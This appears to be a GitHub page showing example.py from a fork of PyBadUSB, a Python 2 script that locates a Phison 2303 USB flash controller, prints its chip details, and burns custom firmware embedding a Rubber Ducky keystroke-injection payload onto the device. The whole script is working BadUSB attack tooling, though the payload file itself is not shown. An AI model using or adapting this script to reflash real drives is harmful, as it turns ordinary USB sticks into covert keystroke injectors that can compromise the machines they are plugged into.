forked from x64x6a/PyBadUSB
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathexample.py
More file actions
46 lines (38 loc) · 1.22 KB
/
Copy pathexample.py
File metadata and controls
46 lines (38 loc) · 1.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pybadusb import badusb, phison
import sys
def print_info(device):
info = "\nInformation:\n"
info += "Chip type: %04X\n" % device.chip_type
info += "Chip ID: %s\n" % device.chip_id
info += "Version: %d.%d.%d\n" % device.version
info += "Mode: %s\n" % device.run_mode
print info
if __name__ == '__main__':
payload = 'rubberducky/inject.bin'
firmware = 'bin/fw.bin'
burner = 'bin/BN03V114M.BIN'
print 'Getting device..'
if 'win' in sys.platform.lower():
device = badusb.get_device(phison.Phison2303, 'H')
#device = badusb.find_drive(phison.Phison2303) # alternative
elif 'linux' in sys.platform.lower():
device = badusb.get_device(phison.Phison2303, '/dev/sg2')
else:
path = raw_input("\nOperating system not detected!\nPlease input path to device. >")
device = badusb.get_device(phison.Phison2303, path)
if not device:
print 'Device not found!'
exit()
print 'Updating device data...'
if not device.get_info():
print 'Failed getting info!'
device.close()
exit()
# display found data
print_info(device)
print 'Embeding payload and burning it...'
if not badusb.badusb(device, payload, firmware, burner):
print 'Failed burning payload!'
exit()
print 'Finished!'
device.close()